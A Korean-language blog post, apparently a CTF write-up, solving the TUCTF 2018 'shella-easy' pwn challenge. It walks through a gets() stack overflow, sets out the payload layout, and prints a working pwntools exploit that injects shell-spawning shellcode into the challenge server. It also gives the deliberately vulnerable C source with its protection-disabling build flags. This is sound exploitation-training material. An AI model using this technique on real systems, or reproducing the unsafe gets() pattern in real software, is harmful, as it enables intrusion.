Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- picoCTF
- shellcode
- writeup
- pwn
- pwnable
- Rookiss
- Bug
- PMA
- toddler
- ASM
- anti
- BOF
- CTF
- string
- Toddler's Bottle
- format
- Leak
- rev
- pwnable.kr
- Reverse
- reversing
- practicalmalwareanalysis
- Bottle
- TUCTF
- 2018
- FSB
- pico
- Read
- shellcraft
- CANARY
Archives
- Today
- Total
제리의 블로그
TUCTF 2018 PWN shella-easy 본문
TUCTF 2018 PWN shella-easy
$ ./shella-easy
Yeah I'll have a 0xff81fcb0 with a side of fries thanks
프로그램을 실행시켜보면 오프셋을 보여준다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-48h]@1
unsigned int v5; // [sp+40h] [bp-8h]@1
setvbuf(stdout, 0, 2, 0x14u);
setvbuf(stdin, 0, 2, 0x14u);
v5 = 0xCAFEBABE;
printf("Yeah I'll have a %p with a side of fries thanks\n", &s);
gets(&s);
if ( v5 != 0xDEADBEEF )
exit(0);
return 0;
}
디버깅해보면 오프셋은 지역변수 s 의 주소값이었다. (%p)
스택의 주소를 알려주는 것을 보니
쉘코드 삽입문제가 아닌가 한다.
또 입력은 gets 함수로 받고 있기 때문에 BOF 가 발생하기 때문에 리턴주소를 변조할 수 있고
지역변수 v5 를 0xDEADBEEF 로 덮어씌워야 leave;ret; 로 끝날 수 있다.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
checksec 해보니 역시 RWX 영역이 있었다.
payload 는
1. 지역변수 v5 를 0xDEADBEEF 로 덮어씌우고
2. RET 의 다음에 쉘코드를 넣는다.
이때 들어가는 쉘코드의 주소는 지역변수 s 로부터 (0x48+0x8) 만큼 떨어진 곳이 되므로
3. RET 를 지역변수 s 의 주소값 +(0x48+0x8) 로 덮어씌운다.
[dummy 0x48][0xDEADBEEF][dummy 0x8][RET s+(0x48+8)][shellcode]
from pwn import *
context.arch = 'i386'
e = ELF('./shella-easy')
r = remote("52.15.182.55", 12345)
r.recvuntil('a ')
s = int(r.recvuntil(' '), 16)
log.success(hex(s))
payload = ''
payload += p32(0xDEADBEEF) * ((0x48 - 0x8)//4 + 1)
payload += p32(s+(0x48+0x8)) * 3
payload += asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
쉘코드를 RET 뒤에다 삽입하긴 했는데
지역변수 s 안에 넣어도 된다.
그렇다면 RET 는 지역변수 s 로 덮어씌우면 된다.
// audit
// gcc -o shella-easy shella-easy.c -no-pie -fno-pic -mpreferred-stack-boundary=3 -m32 -zexecstack
#include <stdio.h>
#include <stdlib.h>
int main()
{
char s[0x40]; // [sp+0h] [bp-48h]@1
unsigned int v5; // [sp+40h] [bp-8h]@1
setvbuf(stdout, 0, 2, 0x14u);
setvbuf(stdin, 0, 2, 0x14u);
v5 = 0xCAFEBABE;
printf("Yeah I'll have a %p with a side of fries thanks\n", &s);
gets(s);
if ( v5 != 0xDEADBEEF )
exit(0);
return 0;
}
'CTF > pwnable' 카테고리의 다른 글
TUCTF 2018 PWN Canary (0) | 2018.11.26 |
---|---|
TUCTF 2018 PWN ehh (0) | 2018.11.26 |
picoCTF 2018 are you root? Binary Exploit (0) | 2018.11.02 |
SECCON CTF 2018 quals Classic Pwn (0) | 2018.10.28 |
hacklu CTF 2018 Baby Reverse (0) | 2018.10.16 |
Comments